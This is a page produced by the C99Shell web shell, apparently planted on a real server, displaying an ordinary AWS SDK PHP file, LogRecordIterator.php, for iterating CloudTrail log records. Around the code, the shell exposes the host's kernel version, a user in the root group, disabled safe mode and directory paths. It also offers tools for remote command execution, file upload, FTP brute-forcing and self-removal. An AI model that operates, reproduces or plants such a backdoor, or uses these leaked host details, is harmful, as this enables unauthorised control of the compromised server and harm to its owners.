!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/aws/aws-sdk-php/src/CloudTrail/   drwxr-xr-x
Free 28.78 GB of 117.98 GB (24.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LogRecordIterator.php (5.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws\CloudTrail;

use 
Aws\S3\S3Client;

/**
 * The `Aws\CloudTrail\LogRecordIterator` provides an easy way to iterate over
 * log records from log files generated by AWS CloudTrail.
 *
 * CloudTrail log files contain data about your AWS API calls and are stored in
 * Amazon S3 at a predictable path based on a bucket name, a key prefix, an
 * account ID, a region, and date information. The files are gzipped and
 * contain structured data in JSON format. This class allows you to specify
 * options via its factory methods, including a date range, and emits each log
 * record from any log files that match the provided options.
 *
 * A log record containing data about an AWS API call is yielded for each
 * iteration on this object.
 */
class LogRecordIterator implements \OuterIterator
{
    
/** @var LogFileReader */
    
private $logFileReader;

    
/** @var \Iterator */
    
private $logFileIterator;

    
/** @var array */
    
private $records;

    
/** @var int */
    
private $recordIndex;

    
/**
     * @param S3Client         $s3Client
     * @param CloudTrailClient $cloudTrailClient
     * @param array            $options
     *
     * @return LogRecordIterator
     */
    
public static function forTrail(
        
S3Client $s3Client,
        
CloudTrailClient $cloudTrailClient,
        array 
$options = []
    ) {
        
$logFileIterator LogFileIterator::forTrail(
            
$s3Client,
            
$cloudTrailClient,
            
$options
        
);

        return new 
self(new LogFileReader($s3Client), $logFileIterator);
    }

    
/**
     * @param S3Client $s3Client
     * @param string   $s3BucketName
     * @param array    $options
     *
     * @return LogRecordIterator
     */
    
public static function forBucket(
        
S3Client $s3Client,
        
$s3BucketName,
        array 
$options = []
    ) {
        
$logFileReader = new LogFileReader($s3Client);
        
$iter = new LogFileIterator($s3Client$s3BucketName$options);

        return new 
self($logFileReader$iter);
    }

    
/**
     * @param S3Client $s3Client
     * @param string   $s3BucketName
     * @param string   $s3ObjectKey
     *
     * @return LogRecordIterator
     */
    
public static function forFile(
        
S3Client $s3Client,
        
$s3BucketName,
        
$s3ObjectKey
    
) {
        
$logFileReader = new LogFileReader($s3Client);
        
$logFileIterator = new \ArrayIterator([[
            
'Bucket' => $s3BucketName,
            
'Key'    => $s3ObjectKey,
        ]]);

        return new 
self($logFileReader$logFileIterator);
    }

    
/**
     * @param LogFileReader $logFileReader
     * @param \Iterator     $logFileIterator
     */
    
public function __construct(
        
LogFileReader $logFileReader,
        
\Iterator $logFileIterator
    
) {
        
$this->logFileReader $logFileReader;
        
$this->logFileIterator $logFileIterator;
        
$this->records = array();
        
$this->recordIndex 0;
    }

    
/**
     * Returns the current log record as an array.
     *
     * @return array|false
     */
    
#[\ReturnTypeWillChange]
    public function 
current()
    {
        return 
$this->valid() ? $this->records[$this->recordIndex] : false;
    }

    #[
\ReturnTypeWillChange]
    public function 
next()
    {
        
$this->recordIndex++;

        
// If all the records have been exhausted, get more records from the
        // next log file.
        
while (!$this->valid()) {
            
$this->logFileIterator->next();
            
$success $this->loadRecordsFromCurrentLogFile();
            if (!
$success) {
                
// The objects iterator is exhausted as well, so stop trying
                
break;
           }
        }
    }

    #[
\ReturnTypeWillChange]
    public function 
key()
    {
        if (
$logFile $this->logFileIterator->current()) {
            return 
$logFile['Key'] . '.' $this->recordIndex;
        }

        return 
null;
    }

    #[
\ReturnTypeWillChange]
    public function 
valid()
    {
        return isset(
$this->records[$this->recordIndex]);
    }

    #[
\ReturnTypeWillChange]
    public function 
rewind()
    {
        
$this->logFileIterator->rewind();
        
$this->loadRecordsFromCurrentLogFile();
    }

    #[
\ReturnTypeWillChange]
    public function 
getInnerIterator()
    {
        return 
$this->logFileIterator;
    }

    
/**
     * Examines the current file in the `logFileIterator` and attempts to read
     * it and load log records from it using the `logFileReader`. This method
     * expects that items pulled from the iterator will take the form:
     *
     *     [
     *         'Bucket' => '...',
     *         'Key'    => '...',
     *     ]
     *
     * @return bool Returns `true` if records were loaded and `false` if no
     *     records were found
     */
    
private function loadRecordsFromCurrentLogFile()
    {
        
$this->recordIndex 0;
        
$this->records = array();

        
$logFile $this->logFileIterator->current();
        if (
$logFile && isset($logFile['Bucket']) && isset($logFile['Key'])) {
            
$this->records $this->logFileReader->read(
                
$logFile['Bucket'],
                
$logFile['Key']
            );
        }

        return (bool) 
$logFile;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--